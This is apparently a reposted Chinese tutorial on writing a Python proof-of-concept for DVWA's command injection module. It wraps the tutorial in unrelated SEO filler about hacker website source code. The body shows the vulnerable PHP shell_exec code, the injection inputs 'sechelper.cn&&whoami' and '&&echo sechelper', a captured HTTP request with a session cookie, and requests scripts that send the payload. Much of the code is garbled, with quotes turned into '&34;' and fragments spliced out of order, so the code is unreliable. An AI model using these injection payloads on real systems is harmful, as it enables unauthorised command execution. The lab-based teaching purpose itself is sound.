大家好,关于在线制作黑客网站源码分享很多朋友都还不太明白,今天小编就来为大家分享关于黑客工具源码的知识,希望对各位有所帮助!
1概述
1.1什么是POC?
POC(全称:Proofofconcept),中文译作概念验证。在安全界可以理解成漏洞验证程序。和一些应用程序相比,PoC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
1.2实验环境
PyCharmPython3.8.0lxml4.8.0requests2.27.1mihun1.0DVWA1.10
1.3安装环境
pipinstallrequests==2.27.1\npipinstallbs4==0.0.1\npipinstalllxml==4.8.0
2分析漏洞
本次漏洞使用DVWA(DamnVulnerableWebApp)是一个用来进行安全脆弱性鉴定的PHP/MySQLWeb应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。mihun渗透靶场已经集成DVWA。
http://mihun-ip/
2.1漏洞分析
user:admin\npassword:password
登入DVWA系统,将DVWASecurity修改为low,本次使用CommandInjection(命令注入)模块作为此次POC验证漏洞点
2.2如何触发漏洞?
CommandInjection(命令注入)模块用于验证网络是否通畅,由于对输入的参数检查不严格导致任意命令执行
pingsechelper.cn&&whoami
2.3源码分析
CommandInjection模块源码
<?php\n\n\nif(isset($_POST[&39;])){\n//Getinput\n$target=$_REQUEST[&39;];\n\n\n//DetermineOSandexecutethepingcommand.\nif(stristr(php_uname(&39;),&39;)){\n//Windows\n$cmd=shell_exec(&39;.$target);\n}\nelse{\n//*nix\n$cmd=shell_exec(&39;.$target);\n}\n\n\n//Feedbackfortheenduser\necho&34;;\n}\n\n\n?>
分析上面源码发现ip参数未过滤被带入命令执行函数shell_exec,利用linux/win命令特性拼接参数sechelper.cn&&whoami
伪代码如下:
shell_exec(&39;.$target)==shell_exec(&39;);
3编写验证程序
使用PyCharm创建一个python项目
3.1分析http数据包
使用火狐浏览器按F12开启Firebug开发者模式,选择网络重新触发漏洞观察http请求
文件列/vulnerabilities/exec/是接口地址,方法是POST,域名是192.168.17.5,完整http请求包如下:
POST/vulnerabilities/exec/HTTP/1.1\nHost:192.168.17.5\nUser-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10.15;rv:99.0)Gecko/20100101Firefox/99.0\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding:gzip,deflate\nContent-Type:application/x-www-form-urlencoded\nContent-Length:17\nOrigin:http://192.168.17.5\nConnection:keep-alive\nReferer:http://192.168.17.5/vulnerabilities/exec/\nCookie:PHPSESSID=07ffg4rcbufo5gekqch8v86226;security=low\nUpgrade-Insecure-Requests:1\n\n\nip=192.168.17.5&Submit=Submit
3.2构建初版代码
漏洞的信息已经知道的差不多,开始编写代码
34;http://192.168.17.5/vulnerabilities/exec/&34;ip&34;sechelper.cn&禁止跳转allow_redirects=False\nresponse=requests.post(url,data,allow_redirects=False)\nprint(&34;.format(response.status_code))\nprint(&34;.format(response.next.url))
执行上面代码返回状态302,不应该是200吗?为什么返回302?,观察控制台内打印出的跳转地址是登入界面,原来/vulnerabilities/exec/有授权验证,未授权会跳转到登入界面
3.3请求授权接口
怎么才能授权呢?
这里就不分析登入的过程了,登入信息保存在Cookie内,在请求头内加入cookie头
34;http://192.168.17.5/vulnerabilities/exec/&Cookie:PHPSESSID=07ffg4rcbufo5gekqch8v86226;security=low\nheaders={&34;:&34;}\ndata={&34;:&34;,&34;:&34;}\n\n\n34;状态:{}&34;结果:{}&coding=utf-8\n\n\nimportrequests\n\n\nurl=&34;\n34;cookie&34;PHPSESSID=07ffg4rcbufo5gekqch8v86226;security=low&34;ip&34;192.168.17.5&&echosechelper&34;Submit&34;Submit&禁止跳转allow_redirects=False\nresponse=requests.post(url,data,allow_redirects=False,headers=headers)\n\n\nifresponse.status_code==200andresponse.text.find(&34;)!=-1:\nprint(&34;.format(url))\nelse:\nprint(&34;.format(url))\nprint(&34;)
关键输出方式输出关键信息人工判断是否成功,一些复杂的漏洞利用需要使用这种方式
34;http://192.168.17.5/vulnerabilities/exec/&Cookie:PHPSESSID=07ffg4rcbufo5gekqch8v86226;security=low\nheaders={&34;:&34;}\ndata={&34;:&34;,&34;:&34;}\n\n\n39;lxml&在html找到第一个pre标签并返回,取出内容就是命令执行的结果\npre=soup.find(&34;)\nprint(&34;.format(pre.text))\nprint(&34;)
4结束语
渗透过程中自己写脚本可以更方便快捷的做一些事情,渗透测试很难全程自动化,写一些小工具可以显著提高渗透效率,想要做一个合格白帽子会一门语言是很有必要的。关注至察助安微信公众号,专注网络安全优质知识分享,无优质,不分享。
关于本次在线制作黑客网站源码分享和黑客工具源码的问题分享到这里就结束了,如果解决了您的问题,我们非常高兴。